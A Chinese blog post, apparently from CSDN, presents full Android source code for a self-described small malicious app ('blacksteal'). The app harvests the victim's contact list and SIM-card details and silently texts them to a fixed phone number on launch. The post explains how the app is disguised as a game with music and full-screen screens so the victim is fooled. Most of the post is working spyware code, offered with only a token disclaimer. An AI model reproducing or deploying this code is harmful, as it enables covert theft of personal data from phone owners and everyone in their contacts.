获取被人电话本的小恶意程序

这个月的26号就要考java二级了,下午没课看了一下午java,想睡一会,然后同学就来了,想要我的一份源码,这份源码是我在寒假写这玩的小程序。就是获取别人的电话本信息,然后以短信的方式发送给指定的手机号。

先说明不要用这份程序干什么坏事啊。

寒假里写完后感觉这样的小程序并没有什么用,所以没写,今天我给他讲代码的时候,发现里面还有一些有用的知识,比如

获取系统的电话本 ,发送单条,和多条短信,Button的圆形边缘美化,还有音乐的播放,Intent的访问网页,通过获取SIM卡的序列号解析卡的一些简单信息(服务商,产卡日期,归属地等)

这套程序如果运行到没有SIM的手机上的时候会炸的,我没有写关于判断SIM卡是否存在情况下的代码,所以运行调试的时候,一定保证手机有卡。

这套一口气用了五个Activity写的,每个Activity目的明确 首先是一个欢迎的界面(WelcomeActivity),其次会运行到主要获取电话本和发送短信的界面(MainActivity),几秒后跳转到一个Button界面。



先说权限:

    <uses-permission android:name="android.permission.INTERNET" />     上网
    <uses-permission android:name="android.permission.SEND_SMS" />     发送短信
    <uses-permission android:name="android.permission.READ_PHONE_STATE" />   手机状态主要是手机卡信息
    <uses-permission android:name="android.permission.READ_CONTACTS" />  读取联系人


1.MainActivity(知识点:发送短信,获取联系人)

package com.example.hejingzhou.blacksteal;


import android.app.PendingIntent;
import android.content.ContentResolver;
import android.content.Context;
import android.content.Intent;
import android.database.Cursor;
import android.provider.ContactsContract;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.telephony.TelephonyManager;
import android.util.Log;
import android.view.KeyEvent;
import android.view.WindowManager;

import java.util.ArrayList;


public class MainActivity extends AppCompatActivity {

    private Thread thread;
    TelephonyManager Tel;
    private int IntOperators;
    private int IntThreeNum;
    private int IntAttribution;
    private int IntFactory_Date;
    private static String SequenceNum;//序列号
    private static String Operators;//运营商
    private static String ThreeNum;//前三位
    private static String Attribution;//归属地
    private static String Factory_Date;//出厂日期
    private static String PhoneNumber;//本手机号
    private static String stringNumber;
    private String name;
    private String nameID;

    private String string;
    private static String messageCon;

    public static String getMessageCon() {
        Log.i("TEST1",messageCon);
        return messageCon;
    }

    public static String getAllnumber() {
        return Allnumber;
    }

    private static String Allnumber;

    public String getSequenceNum() {
        return SequenceNum;
    }
    private String TAG = "MainActivity";

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN,
                WindowManager.LayoutParams.FLAG_FULLSCREEN);
        setContentView(R.layout.activity_main);


        GetUserPhoneNumber();//提取用户的电话本
        try {
            Thread.sleep(1000);
        } catch (InterruptedException e) {
            e.printStackTrace();
        }
        GetUserPhoneNumber();//提取用户的电话本
        Mobile_erial_number();//提取手机卡标识码

        messageCon = "服务商:" + getOperators() + "  归属地:" + getAttribution() + "  出卡日期:" + getFactory_Date() + "  前三位" + getThreeNum() + "  电话本:" + "\n" + Allnumber;
        Log.i(TAG, messageCon);
        Log.i("TEST",messageCon);

        /**
         * 这是发送单条短信,考虑到电话本信息量可能有些大,所以没有用这种方式
         */
      /*  SmsManager smsManager = SmsManager.getDefault();
        PendingIntent pendingIntent = PendingIntent.getBroadcast(MainActivity.this,0,new Intent(),0);
        smsManager.sendTextMessage("1 5933382914",null,"ddddddddddddddddddddddd",pendingIntent,null);*/


        /**
         * 发送多条短信
         */
        //if (MainActivity.getAllnumber()!=null) {
            SmsManager smsManager = SmsManager.getDefault();
            ArrayList<String> smsList = smsManager.divideMessage(messageCon);//分割短信
            Log.i(TAG,messageCon);
            PendingIntent pendingIntent = PendingIntent.getBroadcast(MainActivity.this, 0, new Intent(), 0);
            ArrayList<PendingIntent> sentIntents = new ArrayList<PendingIntent>();
            for(int i = 0;i<smsList.size();i++)
            {
                sentIntents.add(pendingIntent);
            }
            smsManager.sendMultipartTextMessage("你的手机号",null,smsList,sentIntents,null);
<span style="white-space:pre">		</span>//调试的时候把上边这条注释掉否则话费。。。
        //} else {
            Log.i(TAG,"getAllnumber()为空");
        //}


        thread = new Thread(new Runnable() {
            @Override
            public void run() {
                try {
                    Thread.currentThread().sleep(2000);
                } catch (InterruptedException e) {
                    e.printStackTrace();
                }
                startActivity(new Intent(MainActivity.this,ThanksActivity.class));
                MainActivity.this.finish();
            }
        });
        thread.start();
    }


    public static String getOperators() {
        return Operators;
    }

    public static String getThreeNum() {
        return ThreeNum;
    }

    public static String getAttribution() {
        return Attribution;
    }

    public static String getFactory_Date() {
        return Factory_Date;
    }

    private void GetUserPhoneNumber() {

        ContentResolver contentResolver = getContentResolver();
        Cursor cursor = contentResolver.query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);

        if (cursor != null) {
            Log.i(TAG, "cursor != null");
            while (cursor.moveToNext()) {

                int nameLndex = cursor.getColumnIndex(ContactsContract.PhoneLookup.DISPLAY_NAME);
                name = cursor.getString(nameLndex);//取得电话姓名
                string = (name + "_");

                nameID = cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts._ID));
                Cursor phone = contentResolver.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null,
                        ContactsContract.CommonDataKinds.Phone.CONTACT_ID + "=" + nameID, null, null);

                while (phone.moveToNext()) {
                    stringNumber = phone.getString(phone.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER));
                    string+=(stringNumber + "\n");
                    Allnumber += nameID + "_" + name + "_" + stringNumber + "\n";
                    Allnumber = Allnumber.replace("null", "");
                }
            }
        } else {
            Log.i(TAG, "  cursor=null");
        }
    }

    private void Mobile_erial_number() {
        Tel = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
        try {
            PhoneNumber = Tel.getLine1Number();//这个方法不行
            Log.i(TAG, PhoneNumber);
        } catch (Exception e) {
            Log.i(TAG, "获取本手机号出错");
        }
        SequenceNum = Tel.getSimSerialNumber();
        Log.i(TAG, "SIM卡的序列号是" + SequenceNum);
        Operators = SequenceNum.substring(0, 6);
        Log.i(TAG, Operators);
        ThreeNum = SequenceNum.substring(6, 7);
        Log.i(TAG, ThreeNum);
        Attribution = SequenceNum.substring(8, 10);
        Log.i(TAG, Attribution);
        Factory_Date = SequenceNum.substring(10, 12);
        Log.i(TAG, Factory_Date);

        IntOperators = Integer.parseInt(Operators);
        IntThreeNum = Integer.parseInt(ThreeNum);
        IntAttribution = Integer.parseInt(Attribution);
        IntFactory_Date = Integer.parseInt(Factory_Date);
        switch (IntOperators) {
            case 898600:
                Operators = "中国移动";
                break;
            case 898601:
                Operators = "中国联通";
                break;
            case 898603:
                Operators = "中国电信";
                break;
        }
        if (Attribution.equals("08")) {
            Attribution = "黑龙江";

        } else if (Attribution.equals("09")) Attribution = "上海";

        switch (IntThreeNum) {
            case 5:
                ThreeNum = "135";
                break;
            case 6:
                ThreeNum = "136";
                break;
            case 7:
                ThreeNum = "137";
                break;
            case 8:
                ThreeNum = "138";
                break;
            case 9:
                ThreeNum = "139";
                break;
        }
        switch (IntAttribution) {
            case 01:
                Attribution = "北京";
                break;
            case 02:
                Attribution = "天津";
                break;
            case 03:
                Attribution = "河北";
                break;
            case 04:
                Attribution = "山西";
                break;
            case 05:
                Attribution = "内蒙古";
                break;
            case 06:
                Attribution = "辽宁";
                break;
            case 07:
                Attribution = "吉林";
                break;
           /* case 08:  //因为在Java中0开头的是以八进制的判断,所以是不能用的
                Attribution = "黑龙江";
                break;
            case 09:
                Attribution = "上海";
                break;*/
            case 10:
                Attribution = "江苏";
                break;
            case 11:
                Attribution = "浙江";
                break;
            case 12:
                Attribution = "安徽";
                break;
            case 13:
                Attribution = "福建";
                break;
            case 14:
                Attribution = "江西";
                break;
            case 15:
                Attribution = "山东";
                break;
            case 16:
                Attribution = "河南";
                break;
            case 17:
                Attribution = "湖北";
                break;
            case 18:
                Attribution = "湖南";
                break;
            case 19:
                Attribution = "广东";
                break;
            case 20:
                Attribution = "广西";
                break;
            case 21:
                Attribution = "海南";
                break;
            case 22:
                Attribution = "四川";
                break;
            case 23:
                Attribution = "贵州";
                break;
            case 24:
                Attribution = "云南";
                break;
            case 25:
                Attribution = "西藏";
                break;
            case 26:
                Attribution = "陕西";
                break;
            case 27:
                Attribution = "甘肃";
                break;
            case 28:
                Attribution = "青海";
                break;
            case 29:
                Attribution = "宁夏";
                break;
            case 30:
                Attribution = "新疆";
                break;
            case 31:
                Attribution = "重庆";
                break;
        }
        switch (IntFactory_Date) {
            case 10:
                Factory_Date = "2010年";
                break;
            case 11:
                Factory_Date = "2011年";
                break;
            case 12:
                Factory_Date = "2012年";
                break;
            case 13:
                Factory_Date = "2013年";
                break;
            case 14:
                Factory_Date = "2014年";
                break;
            case 15:
                Factory_Date = "2015年";
                break;
            case 16:
                Factory_Date = "2016年";
                break;
            case 17:
                Factory_Date = "2017年";
                break;
            case 18:
                Factory_Date = "2018年";
                break;
        }
        Log.i(TAG, Attribution);
        Log.i(TAG, Factory_Date);
        Log.i(TAG, ThreeNum);
        Log.i(TAG, Operators);
    }
    @Override
    public boolean onKeyDown(int keyCode, KeyEvent event) {
        if ((keyCode == KeyEvent.KEYCODE_BACK)) {
            System.exit(0);
            System.out.println("按下了back键   onKeyDown()");
            return false;
        }else {
            return super.onKeyDown(keyCode, event);
        }

    }

    @Override
    protected void onDestroy() {
        super.onDestroy();
        System.out.println("执行 onDestroy()");
    }

}

2.知识点二:圆角化处理Button

在 drawable 文件夹下创建shape.xml文件,内容如下:

<?xml version="1.0" encoding="UTF-8"?>
<shape xmlns:android="http://schemas.android.com/apk/res/android"
    android:shape="rectangle" >

    <!-- 填充的颜色:这里设置背景透明 -->
    <solid android:color="@android:color/transparent" />
    <!-- 边框的颜色 :不能和窗口背景色一样-->
    <stroke
        android:width="3dp"
        android:color="#930093" />
    <!-- 设置按钮的四个角为弧形 -->
    <!-- android:radius 弧形的半径 -->
    <corners android:radius="5dip" />

    <!-- padding:Button里面的文字与Button边界的间隔 -->
    <padding
        android:bottom="10dp"
        android:left="10dp"
        android:right="10dp"
        android:top="10dp" />
</shape>

在button这样引用就可以了
<Button
            android:layout_width="match_parent"
            android:layout_height="40dp"
            android:textColor="#C32136"
            android:text="贺景洲微信公众号"
            android:background="@drawable/shape"
            android:id="@+id/buttonPublicNumebr"
            android:layout_above="@+id/buttonIn"
            android:layout_alignParentLeft="true"
            android:layout_alignParentStart="true"/>


3.知识点三(播放背景音乐)

为了让运行的人认为这是一个游戏,你需要在装饰上下点功夫,然后我就添加了一段背景音乐
在res文件夹下创建一个raw文件夹存放一段音乐。


1首先让他去掉标题全屏
 protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN,
                WindowManager.LayoutParams.FLAG_FULLSCREEN);
        setContentView(R.layout.activity_game);
2然后让他已进入GameActivity就让他以横屏的形式Show在AndroidManifest.xml文件设置
<activity
            android:name=".GameActivity"
            android:screenOrientation="landscape"></activity>



package com.example.hejingzhou.blacksteal;

import android.app.usage.UsageEvents;
import android.media.MediaPlayer;
import android.preference.PreferenceActivity;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.util.EventLog;
import android.util.Log;
import android.view.KeyEvent;
import android.view.MotionEvent;
import android.view.View;
import android.view.WindowManager;
import android.widget.RelativeLayout;
import android.widget.Toast;

import java.io.IOException;

public class GameActivity extends AppCompatActivity {

    private MediaPlayer mediaPlayer;
    private RelativeLayout relativeLayout;
    private int a;
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN,
                WindowManager.LayoutParams.FLAG_FULLSCREEN);
        setContentView(R.layout.activity_game);
        relativeLayout = (RelativeLayout)findViewById(R.id.relativeLayout);
        relativeLayout.setOnTouchListener(new View.OnTouchListener() {
            @Override
            public boolean onTouch(View v, MotionEvent event) {
                switch (event.getAction())
                {

                    case MotionEvent.ACTION_DOWN:
                        a++;Log.i("GameActivity","  a = "+a);
                        if(a%3==0)
                        {
                            Toast.makeText(GameActivity.this,"你是不是傻,你是不是傻,你是不是傻,你" +
                                    "是不是傻,你是不是傻,你是不是傻,你是不是傻,你是不是傻,你是不是傻," +
                                    "你是不是傻,你是不是傻,你是不是傻!!!",Toast.LENGTH_SHORT).show();
                        }
                        else {
                            Toast.makeText(GameActivity.this, "请您选择正确的操作按钮!!!", Toast.LENGTH_SHORT).show();
                        }
                        break;
                }
                return false;
            }
        });
        /*relativeLayout.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                Toast.makeText(GameActivity.this, "游戏是不是很好玩很好玩。。。", Toast.LENGTH_LONG).show();
            }
        });*/


        mediaPlayer = MediaPlayer.create(this,R.raw.zgaonimei);
        mediaPlayer.setLooping(true);
        /*try {
            mediaPlayer.prepare();
        } catch (IOException e) {
            Log.i("mediaPlayer.prepare()","出错");
        }*/
        mediaPlayer.start();
        mediaPlayer.setOnCompletionListener(new MediaPlayer.OnCompletionListener() {
            @Override
            public void onCompletion(MediaPlayer mp) {
                mp.start();
            }
        });


    }
    @Override
    public boolean onKeyDown(int keyCode, KeyEvent event) {
        if ((keyCode == KeyEvent.KEYCODE_BACK)) {
            System.exit(0);
            System.out.println("按下了back键   onKeyDown()");
            return false;
        }else {
            return super.onKeyDown(keyCode, event);
        }

    }

    @Override
    protected void onDestroy() {
        super.onDestroy();
    }
}
做出来效果还行带着音乐:
有一个错误就是电话本重复了。




  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值